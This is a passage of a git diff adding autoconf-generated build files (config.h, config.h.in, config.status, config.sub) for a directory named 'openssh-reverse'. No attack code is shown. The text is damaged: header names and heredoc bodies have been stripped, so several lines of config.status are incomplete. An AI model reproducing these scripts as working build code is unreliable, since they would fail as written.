HAVE_PATHS_H 1 + +/* Define if you have the header file. */ +#define HAVE_POLL_H 1 + +/* Define if you have the header file. */ +#define HAVE_PTY_H 1 + +/* Define if you have the header file. */ +#define HAVE_SECURITY_PAM_APPL_H 1 + +/* Define if you have the header file. */ +#define HAVE_SHADOW_H 1 + +/* Define if you have the header file. */ +#define HAVE_STDDEF_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_BITYPES_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_SYS_BSDTTY_H */ + +/* Define if you have the header file. */ +#define HAVE_SYS_CDEFS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_POLL_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_SELECT_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_STAT_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_STROPTS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_SYSMACROS_H 1 + +/* Define if you have the header file. */ +#define HAVE_SYS_TIME_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_SYS_TTCOMPAT_H */ + +/* Define if you have the header file. */ +#define HAVE_TIME_H 1 + +/* Define if you have the header file. */ +/* #undef HAVE_USERSEC_H */ + +/* Define if you have the header file. */ +/* #undef HAVE_UTIL_H */ + +/* Define if you have the header file. */ +#define HAVE_UTMP_H 1 + +/* Define if you have the header file. */ +#define HAVE_UTMPX_H 1 + +/* Define if you have the dl library (-ldl). */ +#define HAVE_LIBDL 1 + +/* Define if you have the krb library (-lkrb). */ +/* #undef HAVE_LIBKRB */ + +/* Define if you have the nsl library (-lnsl). */ +#define HAVE_LIBNSL 1 + +/* Define if you have the resolv library (-lresolv). */ +/* #undef HAVE_LIBRESOLV */ + +/* Define if you have the socket library (-lsocket). */ +/* #undef HAVE_LIBSOCKET */ + +/* Define if you have the z library (-lz). */ +#define HAVE_LIBZ 1 + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-reverse/config.h.in b/other/openssh-reverse/config.h.in new file mode 100644 index 0000000..2360383 --- /dev/null +++ b/other/openssh-reverse/config.h.in @@ -0,0 +1,520 @@ +/* config.h.in. Generated automatically from configure.in by autoheader. */ +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + + +/* Define as __inline if that's what the C compiler calls it. */ +#undef inline + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system choked on IP TOS setting */ +#undef IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you want to disable PAM support */ +#undef DISABLE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of EGD random number socket */ +#undef EGD_SOCKET + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you want have trusted HPUX */ +#undef HAVE_HPUX_TRUSTED_SYSTEM_PW + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +/* The number of bytes in a char. */ +#undef SIZEOF_CHAR + +/* The number of bytes in a int. */ +#undef SIZEOF_INT + +/* The number of bytes in a long int. */ +#undef SIZEOF_LONG_INT + +/* The number of bytes in a long long int. */ +#undef SIZEOF_LONG_LONG_INT + +/* The number of bytes in a short int. */ +#undef SIZEOF_SHORT_INT + +/* Define if you have the __b64_ntop function. */ +#undef HAVE___B64_NTOP + +/* Define if you have the _getpty function. */ +#undef HAVE__GETPTY + +/* Define if you have the arc4random function. */ +#undef HAVE_ARC4RANDOM + +/* Define if you have the atexit function. */ +#undef HAVE_ATEXIT + +/* Define if you have the b64_ntop function. */ +#undef HAVE_B64_NTOP + +/* Define if you have the bcopy function. */ +#undef HAVE_BCOPY + +/* Define if you have the bindresvport_af function. */ +#undef HAVE_BINDRESVPORT_AF + +/* Define if you have the clock function. */ +#undef HAVE_CLOCK + +/* Define if you have the entutent function. */ +#undef HAVE_ENTUTENT + +/* Define if you have the entutxent function. */ +#undef HAVE_ENTUTXENT + +/* Define if you have the freeaddrinfo function. */ +#undef HAVE_FREEADDRINFO + +/* Define if you have the gai_strerror function. */ +#undef HAVE_GAI_STRERROR + +/* Define if you have the getaddrinfo function. */ +#undef HAVE_GETADDRINFO + +/* Define if you have the getnameinfo function. */ +#undef HAVE_GETNAMEINFO + +/* Define if you have the getpwanam function. */ +#undef HAVE_GETPWANAM + +/* Define if you have the getrusage function. */ +#undef HAVE_GETRUSAGE + +/* Define if you have the gettimeofday function. */ +#undef HAVE_GETTIMEOFDAY + +/* Define if you have the getutent function. */ +#undef HAVE_GETUTENT + +/* Define if you have the getutid function. */ +#undef HAVE_GETUTID + +/* Define if you have the getutline function. */ +#undef HAVE_GETUTLINE + +/* Define if you have the getutxent function. */ +#undef HAVE_GETUTXENT + +/* Define if you have the getutxid function. */ +#undef HAVE_GETUTXID + +/* Define if you have the getutxline function. */ +#undef HAVE_GETUTXLINE + +/* Define if you have the inet_aton function. */ +#undef HAVE_INET_ATON + +/* Define if you have the innetgr function. */ +#undef HAVE_INNETGR + +/* Define if you have the login function. */ +#undef HAVE_LOGIN + +/* Define if you have the logout function. */ +#undef HAVE_LOGOUT + +/* Define if you have the logwtmp function. */ +#undef HAVE_LOGWTMP + +/* Define if you have the md5_crypt function. */ +#undef HAVE_MD5_CRYPT + +/* Define if you have the memmove function. */ +#undef HAVE_MEMMOVE + +/* Define if you have the mkdtemp function. */ +#undef HAVE_MKDTEMP + +/* Define if you have the on_exit function. */ +#undef HAVE_ON_EXIT + +/* Define if you have the openpty function. */ +#undef HAVE_OPENPTY + +/* Define if you have the pam_getenvlist function. */ +#undef HAVE_PAM_GETENVLIST + +/* Define if you have the pututline function. */ +#undef HAVE_PUTUTLINE + +/* Define if you have the pututxline function. */ +#undef HAVE_PUTUTXLINE + +/* Define if you have the rresvport_af function. */ +#undef HAVE_RRESVPORT_AF + +/* Define if you have the setenv function. */ +#undef HAVE_SETENV + +/* Define if you have the seteuid function. */ +#undef HAVE_SETEUID + +/* Define if you have the setlogin function. */ +#undef HAVE_SETLOGIN + +/* Define if you have the setproctitle function. */ +#undef HAVE_SETPROCTITLE + +/* Define if you have the setreuid function. */ +#undef HAVE_SETREUID + +/* Define if you have the setutent function. */ +#undef HAVE_SETUTENT + +/* Define if you have the setutxent function. */ +#undef HAVE_SETUTXENT + +/* Define if you have the sigaction function. */ +#undef HAVE_SIGACTION + +/* Define if you have the sigvec function. */ +#undef HAVE_SIGVEC + +/* Define if you have the snprintf function. */ +#undef HAVE_SNPRINTF + +/* Define if you have the strerror function. */ +#undef HAVE_STRERROR + +/* Define if you have the strlcat function. */ +#undef HAVE_STRLCAT + +/* Define if you have the strlcpy function. */ +#undef HAVE_STRLCPY + +/* Define if you have the strsep function. */ +#undef HAVE_STRSEP + +/* Define if you have the time function. */ +#undef HAVE_TIME + +/* Define if you have the updwtmp function. */ +#undef HAVE_UPDWTMP + +/* Define if you have the utmpname function. */ +#undef HAVE_UTMPNAME + +/* Define if you have the utmpxname function. */ +#undef HAVE_UTMPXNAME + +/* Define if you have the vhangup function. */ +#undef HAVE_VHANGUP + +/* Define if you have the vsnprintf function. */ +#undef HAVE_VSNPRINTF + +/* Define if you have the header file. */ +#undef HAVE_BSTRING_H + +/* Define if you have the header file. */ +#undef HAVE_ENDIAN_H + +/* Define if you have the header file. */ +#undef HAVE_FLOATINGPOINT_H + +/* Define if you have the header file. */ +#undef HAVE_KRB_H + +/* Define if you have the header file. */ +#undef HAVE_LASTLOG_H + +/* Define if you have the header file. */ +#undef HAVE_LIMITS_H + +/* Define if you have the header file. */ +#undef HAVE_LOGIN_H + +/* Define if you have the header file. */ +#undef HAVE_MAILLOCK_H + +/* Define if you have the header file. */ +#undef HAVE_NETDB_H + +/* Define if you have the header file. */ +#undef HAVE_NETGROUP_H + +/* Define if you have the header file. */ +#undef HAVE_NETINET_IN_SYSTM_H + +/* Define if you have the header file. */ +#undef HAVE_PATHS_H + +/* Define if you have the header file. */ +#undef HAVE_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_PTY_H + +/* Define if you have the header file. */ +#undef HAVE_SECURITY_PAM_APPL_H + +/* Define if you have the header file. */ +#undef HAVE_SHADOW_H + +/* Define if you have the header file. */ +#undef HAVE_STDDEF_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BITYPES_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BSDTTY_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_CDEFS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SELECT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STROPTS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SYSMACROS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TTCOMPAT_H + +/* Define if you have the header file. */ +#undef HAVE_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_USERSEC_H + +/* Define if you have the header file. */ +#undef HAVE_UTIL_H + +/* Define if you have the header file. */ +#undef HAVE_UTMP_H + +/* Define if you have the header file. */ +#undef HAVE_UTMPX_H + +/* Define if you have the dl library (-ldl). */ +#undef HAVE_LIBDL + +/* Define if you have the krb library (-lkrb). */ +#undef HAVE_LIBKRB + +/* Define if you have the nsl library (-lnsl). */ +#undef HAVE_LIBNSL + +/* Define if you have the resolv library (-lresolv). */ +#undef HAVE_LIBRESOLV + +/* Define if you have the socket library (-lsocket). */ +#undef HAVE_LIBSOCKET + +/* Define if you have the z library (-lz). */ +#undef HAVE_LIBZ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-reverse/config.status b/other/openssh-reverse/config.status new file mode 100755 index 0000000..ba15a02 --- /dev/null +++ b/other/openssh-reverse/config.status @@ -0,0 +1,775 @@ +#! /bin/sh +# Generated automatically by configure. +# Run this file to recreate the current configuration. +# This directory was configured as follows, +# on host liane.c-skills.de: +# +# ./configure +# +# Compiler output produced by configure, useful for debugging +# configure, is in ./config.log if it exists. + +ac_cs_usage="Usage: ./config.status [--recheck] [--version] [--help]" +for ac_option +do + case "$ac_option" in + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + echo "running ${CONFIG_SHELL-/bin/sh} ./configure --no-create --no-recursion" + exec ${CONFIG_SHELL-/bin/sh} ./configure --no-create --no-recursion ;; + -version | --version | --versio | --versi | --vers | --ver | --ve | --v) + echo "./config.status generated by autoconf version 2.13" + exit 0 ;; + -help | --help | --hel | --he | --h) + echo "$ac_cs_usage"; exit 0 ;; + *) echo "$ac_cs_usage"; exit 1 ;; + esac +done + +ac_given_srcdir=. +ac_given_INSTALL="/usr/bin/ginstall -c" + +trap 'rm -fr Makefile ssh_prng_cmds config.h conftest*; exit 1' 1 2 15 + +# Protect against being on the right side of a sed subst in config.status. +sed 's/%@/@@/; s/@%/@@/; s/%g$/@g/; /@g$/s/[\\&%]/\\&/g; + s/@@/%@/; s/@@/@%/; s/@g$/%g/' > conftest.subs <<\CEOF +/^[ ]*VPATH[ ]*=[^:]*$/d + +s%@SHELL@%/bin/sh%g +s%@CFLAGS@%-g -O2 -Wall%g +s%@CPPFLAGS@%%g +s%@CXXFLAGS@%%g +s%@FFLAGS@%%g +s%@DEFS@%-DHAVE_CONFIG_H%g +s%@LDFLAGS@%%g +s%@LIBS@%-ldl -lnsl -lz -lutil -lpam -lcrypto %g +s%@exec_prefix@%${prefix}%g +s%@prefix@%/usr/local%g +s%@program_transform_name@%s,x,x,%g +s%@bindir@%${exec_prefix}/bin%g +s%@sbindir@%${exec_prefix}/sbin%g +s%@libexecdir@%${exec_prefix}/libexec%g +s%@datadir@%${prefix}/share%g +s%@sysconfdir@%${prefix}/etc%g +s%@sharedstatedir@%${prefix}/com%g +s%@localstatedir@%${prefix}/var%g +s%@libdir@%${exec_prefix}/lib%g +s%@includedir@%${prefix}/include%g +s%@oldincludedir@%/usr/include%g +s%@infodir@%${prefix}/info%g +s%@mandir@%${prefix}/man%g +s%@CC@%gcc%g +s%@host@%i686-pc-linux-gnu%g +s%@host_alias@%i686-pc-linux%g +s%@host_cpu@%i686%g +s%@host_vendor@%pc%g +s%@host_os@%linux-gnu%g +s%@CPP@%gcc -E%g +s%@RANLIB@%ranlib%g +s%@INSTALL_PROGRAM@%${INSTALL}%g +s%@INSTALL_SCRIPT@%${INSTALL_PROGRAM}%g +s%@INSTALL_DATA@%${INSTALL} -m 644%g +s%@AR@%ar%g +s%@PERL@%/usr/bin/perl%g +s%@ENT@%%g +s%@LD@%gcc%g +s%@rsh_path@%/usr/bin/rsh%g +s%@xauth_path@%/usr/X11R6/bin/xauth%g +s%@RANDOM_POOL@%/dev/urandom%g +s%@PROG_LS@%%g +s%@PROG_NETSTAT@%%g +s%@PROG_ARP@%%g +s%@PROG_IFCONFIG@%%g +s%@PROG_PS@%%g +s%@PROG_W@%%g +s%@PROG_WHO@%%g +s%@PROG_LAST@%%g +s%@PROG_LASTLOG@%%g +s%@PROG_DF@%%g +s%@PROG_VMSTAT@%%g +s%@PROG_UPTIME@%%g +s%@PROG_IPCS@%%g +s%@PROG_TAIL@%%g +s%@INSTALL_SSH_PRNG_CMDS@%%g +s%@MANTYPE@%$(TROFFMAN)%g +s%@mansubdir@%man%g +s%@piddir@%/var/run%g + +CEOF + +# Split the substitutions into bite-sized pieces for seds with +# small command number limits, like on Digital OSF/1 and HP-UX. +ac_max_sed_cmds=90 # Maximum number of lines to put in a sed script. +ac_file=1 # Number of current file. +ac_beg=1 # First line for current file. +ac_end=$ac_max_sed_cmds # Line after last line for current file. +ac_more_lines=: +ac_sed_cmds="" +while $ac_more_lines; do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" conftest.subs > conftest.s$ac_file + else + sed "${ac_end}q" conftest.subs > conftest.s$ac_file + fi + if test ! -s conftest.s$ac_file; then + ac_more_lines=false + rm -f conftest.s$ac_file + else + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f conftest.s$ac_file" + else + ac_sed_cmds="$ac_sed_cmds | sed -f conftest.s$ac_file" + fi + ac_file=`expr $ac_file + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_cmds` + fi +done +if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat +fi + +CONFIG_FILES=${CONFIG_FILES-"Makefile ssh_prng_cmds"} +for ac_file in .. $CONFIG_FILES; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + # Adjust a relative srcdir, top_srcdir, and INSTALL for subdirectories. + + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + ac_dir_suffix="/`echo $ac_dir|sed 's%^\./%%'`" + # A "../" for each directory in $ac_dir_suffix. + ac_dots=`echo $ac_dir_suffix|sed 's%/[^/]*%../%g'` + else + ac_dir_suffix= ac_dots= + fi + + case "$ac_given_srcdir" in + .) srcdir=. + if test -z "$ac_dots"; then top_srcdir=. + else top_srcdir=`echo $ac_dots|sed 's%/$%%'`; fi ;; + /*) srcdir="$ac_given_srcdir$ac_dir_suffix"; top_srcdir="$ac_given_srcdir" ;; + *) # Relative path. + srcdir="$ac_dots$ac_given_srcdir$ac_dir_suffix" + top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + case "$ac_given_INSTALL" in + [/$]*) INSTALL="$ac_given_INSTALL" ;; + *) INSTALL="$ac_dots$ac_given_INSTALL" ;; + esac + + echo creating "$ac_file" + rm -f "$ac_file" + configure_input="Generated automatically from `echo $ac_file_in|sed 's%.*/%%'` by configure." + case "$ac_file" in + *Makefile*) ac_comsub="1i\\ +# $configure_input" ;; + *) ac_comsub= ;; + esac + + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + sed -e "$ac_comsub +s%@configure_input@%$configure_input%g +s%@srcdir@%$srcdir%g +s%@top_srcdir@%$top_srcdir%g +s%@INSTALL@%$INSTALL%g +" $ac_file_inputs | (eval "$ac_sed_cmds") > $ac_file +fi; done +rm -f conftest.s* + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s%^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='\([ ][ ]*\)[^ ]*%\1#\2' +ac_dC='\3' +ac_dD='%g' +# ac_u turns "#undef NAME" with trailing blanks into "#define NAME VALUE". +ac_uA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='\([ ]\)%\1#\2define\3' +ac_uC=' ' +ac_uD='\4%g' +# ac_e turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_eA='s%^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_eB='$%\1#\2define\3' +ac_eC=' ' +ac_eD='%g' + +if test "${CONFIG_HEADERS+set}" != set; then + CONFIG_HEADERS="config.h" +fi +for ac_file in .. $CONFIG_HEADERS; do if test "x$ac_file" != x..; then + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case "$ac_file" in + *:*) ac_file_in=`echo "$ac_file"|sed 's%[^:]*:%%'` + ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + *) ac_file_in="${ac_file}.in" ;; + esac + + echo creating $ac_file + + rm -f conftest.frag conftest.in conftest.out + ac_file_inputs=`echo $ac_file_in|sed -e "s%^%$ac_given_srcdir/%" -e "s%:% $ac_given_srcdir/%g"` + cat $ac_file_inputs > conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + cat > conftest.frag < conftest.out + rm -f conftest.in + mv conftest.out conftest.in + + rm -f conftest.frag conftest.h + echo "/* $ac_file. Generated automatically by configure. */" > conftest.h + cat conftest.in >> conftest.h + rm -f conftest.in + if cmp -s $ac_file conftest.h 2>/dev/null; then + echo "$ac_file is unchanged" + rm -f conftest.h + else + # Remove last slash and all that follows it. Not all systems have dirname. + ac_dir=`echo $ac_file|sed 's%/[^/][^/]*$%%'` + if test "$ac_dir" != "$ac_file" && test "$ac_dir" != .; then + # The file is in a subdirectory. + test ! -d "$ac_dir" && mkdir "$ac_dir" + fi + rm -f $ac_file + mv conftest.h $ac_file + fi +fi; done + + + +exit 0 diff --git a/other/openssh-reverse/config.sub b/other/openssh-reverse/config.sub new file mode 100755 index 0000000..0997570 --- /dev/null +++ b/other/openssh-reverse/config.sub @@ -0,0 +1,1312 @@ +#! /bin/sh +# Configuration validation subroutine script, version 1.1. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-06-10' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | 